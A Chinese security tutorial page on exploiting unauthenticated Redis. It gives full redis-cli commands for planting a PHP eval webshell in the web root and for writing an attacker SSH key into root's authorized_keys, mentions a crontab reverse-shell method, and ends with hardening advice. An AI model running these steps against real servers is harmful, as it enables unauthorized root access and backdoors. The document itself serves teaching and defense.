新闻分类
Redis GetShell提权
环境准备
目标机器:129.168.186.4
Kali 开启 SSH
配置 Redis
wget http://download.redis.io/releases/redis-3.2.11.tar.gz tar zxvf redis-3.2.11.tar.gz cd redis-3.2.11 cp redis.conf /etc/redis.conf make cd src cp redis-server /usr/bin/ cp redis-cli /usr/bin/ vim /etc/redis.conf
去掉 ip 绑定,允许除本地外的主机远程登录 redis 服务 前面加 #注释掉
关闭保护模式,允许远程连接 redis 服务将 yes 改为 no启动redis
启动服务 redis-server /etc/redis.conf
常用命令
连接 Redis 服务器
redis-cli -h ipadd
MSF 下利用模块
auxiliary/scanner/redis/file_upload auxiliary/scanner/redis/redis_login auxiliary/scanner/redis/redis_server
GetShell 原理:攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,我们可以将 dir 设置为一个目录 a,而 dbfilename 为文件名 b,再执行 save 或 bgsave,就可以写入一个路径为 a/b 的任意文件。
计划任务反弹 Shell
- 在 Redis 以 root 权限运行时可以写 crontab 来执行命令反弹 shell
默认编写的 crontab 文件会保存在 (/var/spool/cron/ 用户名 例如: /var/spool/cron/root
crontab -l 列出某个用户 cron 服务的详细内容
crontab -r 删除每个用户 cront 任务 (谨慎:删除所有的计划任务)
crontab -e 使用编辑器编辑当前的 crontab 文件
Web 目录写 Shell
- 当 redis 权限不高且服务器开着 web 服务
- redis 有 web 目录写权限
- 可以尝试往 web 路径写 webshell
redis-cli -h ip ip:6379> config set dir /var/www/html/ OK ip:6379> config set dbfilename shell.php OK ip:6379> set x "<?php @eval($_POST['shell']);?>" OK ip:6379> save OK
写 ssh-key 公钥获取权限
- Redis 服务使用 ROOT 账号启动
- 服务器开放了 SSH 服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
ssh-keygen -t rsa # 将公钥写入一个文件,内容前后要加两个换行 (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt # 将公钥放入目标服务器键`crackit`里面 cat key.txt | redis-cli -h 172.16.186.4 -x set crackit ip:6379> config set dir /root/.ssh/ OK ip:6379> config get dir 1) "dir" 2) "/root/.ssh" ip:6379> config set dbfilename authorized_keys OK ip.4:6379> save OK # 使用私钥连接 ➜ ssh -i id_rsa root@redis-ip
修复建议
- 禁止 Redis 服务对公网开放,可通过修改
redis.conf
配置文件中的#bind 127.0.0.1
,去掉前面的#
即可(Redis 本来就是作为内存数据库,只要监听在本机即可) - **设置密码访问认证,可通过修改
redis.conf
配置文件中的requirepass
设置复杂密码 ** - 重启 Redis 服务
- 对访问源 IP 进行访问控制,可在防火墙限定指定源 IP 才可以连接 Redis 服务器
- 保证 authorized_keys 文件的安全为了保证安全,您应该阻止其他用户添加新的公钥。
- 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限
chmod 400 ~/.ssh/authorized_keys
- 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名~/.ssh,然后新建新的~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置~./ssh 的 immutable 位权限:
chattr +i ~/.ssh
以低权限运行 Redis 服务(重启 redis 才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
[超站]友情链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 习近平乘专机离开巴西利亚 7980213
- 2 王宝强方回应涉嫌欺诈:无愧于心 7937433
- 3 王楚钦把对手拍子打掉了 7875343
- 4 建设网络强国 更好造福人民 7790580
- 5 湖南发现超40条金矿脉 7681034
- 6 王楚钦3-1淘汰德国名将晋级八强 7551047
- 7 黄执中在奇葩说都没有这么激动过 7467600
- 8 房贷利率下调月供反而多了 7368984
- 9 烧饼任德云社副总 7207611
- 10 “两新”政策支撑经济回升向好 7124170